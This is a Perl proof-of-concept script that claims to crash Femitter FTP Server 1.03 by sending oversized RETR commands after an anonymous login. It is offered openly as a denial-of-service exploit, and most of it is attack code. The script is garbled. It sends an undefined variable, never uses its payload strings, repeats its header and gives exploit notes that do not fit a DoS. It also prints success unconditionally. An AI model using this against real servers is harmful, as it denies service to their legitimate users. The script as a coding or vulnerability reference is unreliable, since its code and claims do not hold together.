Femitter FTP Server 1.03 Denial Of Service

#!/usr/bin/perl

use Net::FTP;

# Exploit Title: Femitter FTP Server 1.03 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 08 january 2024

use Net::FTP;

# Exploit Title: Femitter FTP Server 1.03 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 08 january 2024
# Vendor Homepage: https://acritum.com/
# Download to demo: https://drive.google.com/file/d/1GBFmc7tMavA9mMoZPYVlUVUe62dGjBhF/view?usp=sharing
# Notification vendor: No reported
# Tested Version: Femitter FTP Server 1.03
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://drive.google.com/file/d/1n_WzyNiOwHRen60en5rh56Q4AyDfVbF_/view?usp=sharing

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the command RETR, resulting in memory corruption.
#When authenticating to the FTP server with a long RETR or a RETR with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "[+] Exploiting... ";

my $payload = "x41x2Cx41x20x42"x500;

my $ftp = Net::FTP->new($ip, Debug => 0) or die "Could not connect: $@";

my $sc= "A"x800;

$ftp->login("anon","anon") or die "Failed: " . $ftp->message;

$ftp->quot("RETR ".$c." ") or die "Error: " . $ftp->message;
$ftp->quot("RETR ".$c." ") or die "Error: " . $ftp->message;

$ftp->quit;

print "[+] Done - Exploited success!!!!! ";

sub intro {
print "###################################################################### ";
print "# Femitter FTP Server 1.03 - Denial of Service # ";
print "# # ";
print "# Coded by Fernando Mengali # ";
print "# # ";
print "# e-mail: fernando.mengalli@gmail.com # ";
print "# # ";
print "###################################################################### ";
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " Usage: $0 <ip> <port> ";
exit(-1);

}
}

#3. Solution/ How to fix:

# This version product is deprecated